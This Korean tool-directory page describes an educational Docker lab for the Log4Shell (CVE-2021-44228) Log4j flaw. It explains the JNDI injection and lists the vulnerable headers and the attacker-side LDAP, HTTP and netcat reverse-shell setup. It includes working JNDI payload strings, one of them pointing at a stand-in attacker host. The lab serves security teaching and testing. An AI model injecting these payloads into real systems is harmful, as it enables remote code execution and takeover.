Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EXPLOIT-CVE-2021-44228 — 취약한 Java 애플리케이션, LDAP 리디렉터 및 자동화된 익스플로잇 스크립트를 사용하여 Log4Shell(CVE-2021-44228) RCE 악용을 시연하는 Docker 기반 교육 랩입니다. | Kitploit
도구/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

취약한 Java 애플리케이션, LDAP 리디렉터 및 자동화된 익스플로잇 스크립트를 사용하여 Log4Shell(CVE-2021-44228) RCE 악용을 시연하는 Docker 기반 교육 랩입니다.

저장소 보기
45개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228 — Log4Shell PoC Lab

면책 조항

이 실습 환경은 보안 교육 및 연구 목적으로만 제작되었습니다. 모든 트래픽은 격리된 Docker 네트워크 내에서 발생합니다. 실제 시스템이나 명시적인 허가 없이 이 자료를 사용하지 마세요. 오용은 범죄가 될 수 있습니다. 책임감 있게 사용하세요.


CVE-2021-44228이란?

Log4Shell은 2021년 12월에 Java 애플리케이션에서 널리 사용되는 로깅 라이브러리 Apache Log4j 2에서 발견된 치명적인 취약점(CVSS 10.0)입니다.

취약점이 발생하는 방식

Log4j에는 표현식 보간 기능이 있습니다. 메시지를 기록할 때 ${...} 형식의 문자열을 평가합니다. 예를 들어, ${java:version}은 런타임 시 Java 버전으로 대체됩니다.

문제는 JNDI(Java Naming and Directory Interface) 프로토콜 지원에 있습니다. Log4j가 다음과 같은 표현식을 만나면:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

JVM에 공격자의 서버로 LDAP 조회를 수행하도록 지시합니다. 서버는 원격 Java 클래스에 대한 참조로 응답합니다. 그러면 JVM이 해당 클래스를 다운로드하여 실행하므로 **원격 코드 실행(RCE)**이 발생합니다.

공격 벡터는 간단합니다. 서버에 의해 로깅되는 모든 필드(HTTP 헤더, 양식 필드, 쿠키 등)가 페이로드의 진입점이 될 수 있습니다.

영향을 받는 버전

  • Log4j 2.0-beta9부터 2.14.1까지
  • 2.15.0 버전에서 수정됨(그리고 2.17.0에서 완전히 수정됨)

취약한 환경

이 랩은 취약한 버전을 사용하는 실제 Java 애플리케이션을 시뮬레이션합니다.

취약한 엔드포인트

root@kitploit:~
GET http://localhost:8080/log

다음 헤더는 Log4j에 의해 직접 로깅됩니다. 이 중 하나라도 주입 벡터가 될 수 있습니다.

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

공격자 인프라 (attacker 컨테이너)

서비스포트역할

익스플로잇 사용 방법

사전 요구 사항

  • Docker 및 Docker Compose 설치
  • Node.js 설치 (익스플로잇용)

1. 전체 환경 시작

root@kitploit:~
docker-compose up --build

로그에 다음이 표시될 때까지 기다리세요:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. 익스플로잇 실행

다른 터미널에서 Node.js 익스플로잇을 실행하세요:

root@kitploit:~
node exploit/exploit.js

예상 출력:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. 실행 확인

docker-compose가 실행 중인 터미널을 확인하세요. attacker 컨테이너 로그에서 포트 9001로 리버스 셸 연결이 들어오는 것을 볼 수 있습니다.

취약한 앱 내부의 touch /tmp/pwned 실행을 확인하려면:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

사용자 지정 인자 (선택 사항)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

By Guaxinim | Cyber Security Research

도구 다운로드
구성 요소버전취약한 이유
Apache Log4j2.14.1제한 없이 ${jndi:...} 평가
JDK1.8.0_181trustURLCodebase=false를 설정한 8u191 패치 이전 버전
Spring Boot2.5.6웹 프레임워크일 뿐이며, 취약점은 Log4j에 있음
marshalsec (LDAP)1389JNDI lookup을 수신하고 HTTP 서버로 리디렉션
Python HTTP server8888피해자 JVM에 Exploit.class 제공
netcat listener9001리버스 셸 연결 수신